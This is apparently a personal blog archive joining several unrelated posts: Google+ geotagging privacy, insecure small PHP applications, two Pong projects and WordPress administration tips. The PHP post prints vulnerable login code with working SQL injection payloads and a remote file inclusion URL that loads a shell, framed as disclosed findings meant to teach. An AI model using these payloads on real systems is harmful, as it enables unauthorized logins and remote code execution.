One of Google+’s much touted features is its ability to automatically slurp photos off of your mobile phone. I’m a big fan of this functionality. It represents a marked improvement in user experience over Facebook. It’s silly that we waste so much time dragging and dropping image files.
Before taking advantage of automatic uploads, users should be aware of some other less obvious features. When viewing a photo, click Actions->Photo Details and you’ll be presented with some neat data:
I assume this information is pulled straight from the EXIF metadata embedded in the image file from the phone. That’s handy, although I’m not really sure what I’m supposed to get out of the histogram. If you click “Location”, you’ll see something even more interesting.
That’s almost exactly where I took the picture. Awesome!
But very close to my apartment. Creepy!
As far as I can tell, control over who sees what is a major selling point of Google+.
The whole Circles concept seems like a user friendly access management system. So I find it a little surprising that sharing a photo is bound, by default, to share location information as well.
I know that the information was already in the EXIF data, I gave the Android application permission to access the phone’s GPS, and there was probably a warning in the terms I agreed to. But 99% of people won’t consider any of that when they share an image from a location they would like to keep private.
To be clear, I think this feature is really cool. Google has taken full advantage of geotagging in a way that provides value to end users. People just need to be aware of what exactly they’re sharing.
The woeful security practices of many open source PHP applications constitute a hallmark of the so-called ghetto. I know because I’ve introduced a handful of embarrassing security holes in past open source contributions. These simple mistakes are symptoms highlightling the conditions conducive to large amounts of unknown vulnerabilities.
I conjecture that small PHP applications are the easiest target. Here’s why:
1. Low barrier to entry
When people encourage budding programmers to cut their teeth by working on open source projects, many of them flock to PHP because it’s easy to build useful applications quickly. This is not necessarily bad. I had a blast learning PHP and it definitely contributed to my general interest in software. Just remember that the last web app you downloaded from sourceforge was likely written by a 16 year old with a copy of PHP in 24 hours. Kenny Katzgrau crystallizes this point in a discussion of PHP’s past shortcomings:
In it’s pizza-faced adolescent years (pre-5.0), PHP gained a serious following among novices. The language has a fantastically low barrier to entry, so anyone could get started in 2 minutes by downloading some self-extracting *AMP stack for Windows. […] What do you get when you mix n00bs and a lack of best practices? Unmaintainable garbage. And that’s what proliferated.
2. Lack of oversight
Given enough eyeballs, all bugs are shallow.
–Linus’ Law
The small number of people contributing to little PHP projects fails to satisfy the “eyeballs” supposition in this popular open source trope. There simply aren’t enough people looking at small projects to find even the simplest security problems. Given that general bugs are inevitable, the inexperienced nature of many developers compounds the likelihood that serious security flaws will arise and go undetected.
Consider a small two person project. Neither person really cares enough to personally audit the code. Maybe it’s on someone’s to-do list, but not before adding fun new features or doing laundry. So where does the buck stop? Certainly not with the user. An individual might contribute a bug fix if it causes a visible problem in the software system, but even that’s optimistic. Remember, this is a small project in the realm of 10k lifetime downloads. So the job will likely get picked up by two groups: altruistic security folk who disclose vulnerabilities responsibly and… hacker hackers.
Realistically, the white hat security researchers are far less likely to find these holes than their nefarious counterparts. They tend to focus their efforts on larger projects. It’s far more glamorous to find a bug in a big project, say WordPress, or the Linux kernel. To be fair, black hats have a financial incentive to find bugs in large projects, but given the extreme low quality of code in smaller projects, it’s probably a better time trade off to target the little ones.
So these conditions leave the open source community with an abundance of poorly written projects that are only seriously audited by blackhats. Perfect storm much?
Below I highlight vulnerabilities in three small open source applications. When this post was written all vulnerabilities were unknown. The authors were contacted a few weeks ago and said they would fix the problems ASAP. Let’s stroll through the ghetto.
Vulnerability type: SQL Injection
Vulnerable pages: login.php, userSearch.php
The login page only asks for a username. Let’s call it half-factor authentication.
$name=$_POST['username'];
$query = "SELECT * FROM users WHERE username= \"$name\"";
$counter=0;
foreach ($db->query($query) as $row)
{
$name=$row['username'];
$userid=$row['userid'];
$counter+=1;
}
if ($counter==1){
$_SESSION['userid']=$userid;
$_SESSION['username'] =$name;
print "Session registered for $name";
}
elseif ($counter==0){
print "No username found for $name.";
}
elseif ($counter>1){
print "That's weird, more than one account was found.";
}
If we know someone’s username, we’re already golden. Otherwise, we need to get the SQL query to return exactly one row. That’s easy enough with the following username parameter: " OR "1"="1" LIMIT 1 ;
Vulnerability type: SQL injection
Vulnerable files: beeback 1.0.0/includes/connect.php
This new CMS doesn’t sanitize inputs from the main login form on its home page.
if (isset($_POST['login'])){
$login = $_POST['login'];
$pass = md5($_POST['pass']);
$verif_query = sprintf("SELECT * FROM user WHERE email='$login' AND password='$pass'");
$verif = mysql_query($verif_query, $db) or die(mysql_error());
$row_verif = mysql_fetch_assoc($verif);
$user = mysql_num_rows($verif);
if ($user) {
session_register("authentification");
$_SESSION['role'] = $row_verif['usertype'];
$_SESSION['lastname'] = $row_verif['lastname'];
$_SESSION['firstname'] = $row_verif['firstname'];
$_SESSION['email'] = $row_verif['email'];
}else{
$_GET['signstep'] = "failed";
}
}
If magic quotes are off, we can login with the following username: 1' OR '1'='1'#
If the server’s allow_url_include() option is set, then we can include malicious remote code by crafting the url: http://[path].com/index.php?content=http://path.com/shell
To be fair to the PHP community, the ghetto has shrunk. But there is a vast divide between the gentrified segment, people who read programming blogs and know why frameworks are good (or bad), and everyone else. I don’t believe there is a complete technical solution, although conservative default settings in php.ini certainly help stave off a fair amount of attacks. The onus is on the community to bring the less fortunate up to speed. If you know a blossoming PHP programmer, take five minutes to explain SQL injection and remote file inclusion. You’ll save someone a lot of trouble.
I’m planning on using the Java 2D API for a project this summer, but I need to get familiarized first. In the previous post I covered Pong on a the C32 microcontroller. Here I’ll look at a desktop implementation using AWT.
A great starting point is this zetcode tutorial on game programming. The author covers a series of classic arcade games. I used their code to figure out how to initialize the Swing JPanel and handle keyboard input.
Here’s my implementation:
Controls
Player 1: Q, A
Player 2: Up, Down
Pause: Space
Restart: Esc
The collision detection code is almost exactly the same as the C version. This version is a little more robust in that it supports arbitrary window sizes, paddle lengths/widths/speeds, and ball velocities. The only real trouble spots were devising a scheme to handle two keys being held down simultaneously and repainting the frame at the correct times. For more fun, consider modifying this version to change the X and Y speeds of the ball based on paddle velocity or collision position.
At the conclusion of UT’s embedded systems lab, EE445L, all student teams produce a final project of their own choosing. My partner (Tim) and I built a game system for playing Pong.
I designed the circuit schematic and wrote most of the software. Tim designed the PCB and assembled most of the hardware. Everything that could go wrong did, but we managed to build a fun little game.
The interface is extremely intuitive. The potentiometers on either side of the screen control the paddles for each player. The code for the C32 is almost entirely C and was developed in Freescale’s CodeWarrior IDE.
The screen is an AGM1264 128×64 monochrome LCD. Professor Jonathan Valvano provides a useful driver for the c32 on his website. While the driver supports writing whole bitmaps, the memory layout of the LCD makes it very tricky to draw 2D shapes at arbitrary coordinates. I ended up using a 1-pixel ball because a 2×2 ball could require writes to 4 memory locations, a can of worms that I did not want to open.
But, if you’re interested in improving the game, you can draw to arbitrary pixels using the modulus arithmetic in drawBall(). It could easily be a jumping off point for a 2D graphics library supporting more interesting shapes. A word of warning: you will get a noticeable flicker when writing bitmaps quickly (we did 20 fps). The screen really isn’t built to draw every location continuously.
Edit: I had a conversation with another student who attributed the flicker to a call to LCD_Clear(0) in Valvano’s LCD_DrawImage routine. It’s there in LCD.c on line 383. I no longer have the hardware, but that would have been an easy fix to make.
Things that went wrong
The seventh wire in the ribbon cable was broken, resulting in garbage on LCD. I tracked this down with a multimeter and patience.
I forgot to right justify the 10-bit ADC inputs on the potentiometers. This should have been obvious when the values read were greater than 1023. The fix: ATDCTL5= channel + 0x80;
The original box we ordered was just barely too small. Tim measured the LCD’s bezel, rather than its slightly wider PCB. I didn’t double check it. We ended up using the obnoxiously large black box in the picture.
The black button unexpectedly employed negative logic. That is, pressing it opens the circuit. This was trivial to deal with in software, but annoying nonetheless.
The power switch broke. Our nice metal toggle switch broke into pieces when I bumped it on the table. I decided to short the wires in the interest of time.
Tim was unaware that capacitors may be polarized and soldered them in randomly. He is now very good with solder wick.
The potentiometers are a little longer than the screen is wide. It would be better to have a perfect 1:1 correspondence.
There is a strange bug with the LCD hardware or driver that causes a few pixels near the lower left corner to erroneously become dark. Hence the name, “Distortion Pong”. I tried to convince the TA it was feature, but I don’t think he bought it.
I love WordPress because much of its functionality is dead simple. However, I’ve found that it usually takes some tweaking and 3rd party plugins to get everything working to my taste.
1. Auto-update with SSH instead of FTP I maintain dozens of WordPress installs for various reasons. I absolutely love that you can auto-update with one click. The default mechanism behind this behavior is FTP. That’s fine for shared hosting, but when I moved to my Linode VPS, FTP became just another daemon that would be nice to avoid for the pain of configuration, not to mention security.
WordPress is cool enough to support updating over SSH but you have to edit your config.inc.php file like so:
Learned how to do this from Karl Blessing’s helpful blog.
2. Highlight the syntax of your code snippets for virtually any language
After playing around with handful of code formatting plugins, I finally got comfortable with Syntax Highlighter ComPress. It supports an impressive list of languages and integrates nicely into the TinyMCE editor. You can stick with the visual editor and avoid HTML entirely. This is a big deal for me because I don’t want to write HTML when I’m writing content.
3. Create a static front page Before I had written any posts for this blog, I set the home page to my list of projects.
From the WordPress Codex:
Set ‘Front page displays:’ to ‘a static page’ and choose the first page you created above for ‘Front page.’ If your WordPress site will contain a blog section, set ‘Posts page’ to the page your created for this above. Otherwise, leave this blank.
4. Install the Google XML sitemaps plugin From what I can tell, having a sitemap for WordPress has been a effective SEO tool. Searching for sitemap builders in the plugin directory will bring up many results. The only one you need is called Google XML Sitemaps by Arne Brachhold. Consider donating because the plugin is fully featured, but a breeze to install and deploy.
5. Eliminate spam comments forever After letting BeatLogic.org sit dormant for several months, the comment queues were overflowing with about 5000 spam comments. There are nuanced ways to combat spam, but I prefer this three step kill-it-with-fire approach.
Disable comments on future posts under Settings->Discussion->Allow people to post comments on new articles
Disable comments on old posts under Posts->Select All with checkbox->Edit->Comments->Do not allow.
Do this for every post at once by using the checkbox at the top of the Posts table and the bulk action dropdown.
Delete spam comments by logging into your SQL database and running a DELETE FROM wp_comments WHERE comment_approved=0
Warning: These steps will completely disable commenting on your blog and delete every unapproved comment. Make sure this is right for your situation.
6. Recover from broken plugins On a few occasions I’ve had a wordpress install die after an update because of plugin trouble. Usually the home page will fail to load at all or the posts page will die halfway through. The trick is to disable all plugins and re-enable them one by one. Run one of these on your database SELECT * FROM wp_options WHERE option_name = 'active_plugins'; and delete the text string in the one matching row. Everything should then load normally, leaving the sleuthing up to you. Thanks to WordPress pro Jeff Star for this one.